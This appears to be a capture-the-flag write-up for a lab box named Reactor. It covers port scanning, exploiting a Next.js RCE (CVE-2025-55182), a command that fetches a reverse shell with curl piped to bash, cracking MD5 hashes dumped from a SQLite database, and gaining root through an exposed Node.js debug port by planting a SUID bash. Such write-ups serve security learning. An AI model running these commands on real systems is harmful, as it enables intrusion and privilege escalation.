Reconnaissance

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_  256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
|     x-nextjs-prerender: 1
|     x-nextjs-stale-time: 4294967294
|     X-Powered-By: Next.js
|     Cache-Control: s-maxage=31536000,
|     ETag: "p02u6gnhufd8t"
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 17175
|     Date: Sun, 24 May 2026 16:34:20 GMT
|     Connection: close
|     <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
|   HTTPOptions, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
|     Allow: GET
|     Allow: HEAD
|     Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
|     Date: Sun, 24 May 2026 16:34:20 GMT
|     Connection: close
|   Help, NCP, RPCCheck:
|     HTTP/1.1 400 Bad Request
|_    Connection: close

Execution

The web page on port 3000 is some kind of monitoring dashboard. It looks fancy but there’s not much to discover. Based on the server headers, it’s powered by Next.js.

A recent exploit is CVE-2025-55182, also dubbed React2Shell. A remote code execution with several proof-of-concepts available.

$ python3 exploit.py --url http://10.129.245.214:3000 \
                     --cmd id
Success
uid=999(node) gid=988(node) groups=988(node)
 
$ python3 exploit.py --url http://10.129.245.214:3000 \
                     --cmd 'curl http://10.10.10.10/shell|bash'

First I run id on the target to check if the application is vulnerable. Apparently I can execute code in the context of user node. Then I proceed to get an interactive reverse shell.

Privilege Escalation

Shell as engineer

Within /opt/reactor-app there’s a SQLite3 database called reactor.db. There are only two tables and users contains the hashes for the accounts admin and engineer with the latter being also an account on the host.

$ sqlite3 reactor.db
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
sensor_logs  users
 
sqlite> select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

Based on the length of the hashes, MD5 seems to be a likely candidate and john is able to crack the password for engineer. This lets me change the current user with reactor1.

Shell as root

Inspecting all the running processes on the host, shows /usr/bin/node is running as root and has the debugging port open on port 9229 and allows an attacker to run arbitrary commands1.

$ ps auxwww
--- SNIP ---
root        1413  0.0  1.1 1066392 46524 ?       Ssl  15:54   0:00 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
--- SNIP ---

To interact with it, I forward port 9229 with SSH and run Chrome. This auto-discovers the remote target in chrome://inspect and I can click inspect to open the developer tools in the context of the target.

Now I can just execute JavaScript on the remote host. Therefore I require child_process and then copy a bash binary to /tmp with the SUID bit set.

require('child_process').exec('install --mode=4777 /bin/bash /tmp/bash');

Back on my reverse shell I simply run /tmp/bash -p to spawn a new shell as root.

Info

The privilege escalation can be performed right after gaining foothold on the target. The pivot to engineer is not strictly necessary by using a reverse proxy instead of SSH port-forwarding.

Attack Path

flowchart TD

subgraph "Execution"
    A(NextJS) -->|CVE-2025-55182| B(Shell as node)
end

subgraph "Privilege Escalation"
    B -->|Crack MD5 hash in DB| C(Shell as engineer)
    C -->|Forward port 9229 via SSH| E(Access Node.js debug port)
    B -->|Forward port 9226 via proxy| E
    E -->|Process running as root| F(Shell as root) 
end

Footnotes

  1. Debugging Node.js ↩